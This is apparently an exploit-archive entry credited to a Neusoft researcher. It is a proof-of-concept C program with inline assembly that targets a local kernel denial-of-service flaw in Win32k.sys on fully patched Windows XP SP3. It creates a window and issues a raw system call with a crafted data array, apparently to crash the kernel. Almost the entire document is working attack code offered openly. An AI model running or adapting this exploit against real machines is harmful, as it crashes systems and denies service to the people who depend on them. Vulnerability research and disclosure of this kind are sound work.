Microsoft Windows XP Win32k.sys Denial Of Service

`////////////////////////////////////////////////////////////////////////////  
//  
// Title: Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability  
// Author: Lufeng Li of Neusoft Corporation  
// Vendor: www.microsoft.com  
// Vulnerable: Windows xp sp3(full patch)  
//  
/////////////////////////////////////////////////////////////////////////////  
  
#include <Windows.h>  
#include <stdio.h>  
  
void NtUserCreateWindowEx(HANDLE d1,int d2,int d3)  
{  
_asm{  
xor eax,eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push eax  
push d3  
push d2  
push d1  
push eax  
mov eax,0x1157  
mov edx,7FFE0300h  
call dword ptr[edx]  
ret 0x3c  
}  
}  
void main()  
{  
UINT i=0;  
UINT c[]={   
0x00000000,0x28001500,0xff7c98cc,0x23ffffff  
,0x167c98cc,0x007c98fb,0x02001500,0x78010000  
,0x00000000,0x00001500,0x00000000,0x00001500  
,0x00000000,0x00001500,0x00000000,0x00000000  
,0x00000000,0x00000000,0x34000000,0x3cc00000  
,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000  
,0x00000000,0x18000000,0x000007fb,0xf8000000  
,0x200007fd,0x347c92e9,0x02c00000,0x4c000000  
};  
HWND _wnd = CreateWindowEx(WS_EX_TOPMOST,  
"magic",  
"magic",  
WS_POPUP,  
100,  
100,  
100,  
100,  
0,  
0,  
GetModuleHandle( 0 ),  
0);  
NtUserCreateWindowEx(_wnd,0x26,(UINT)c);  
}  
  
`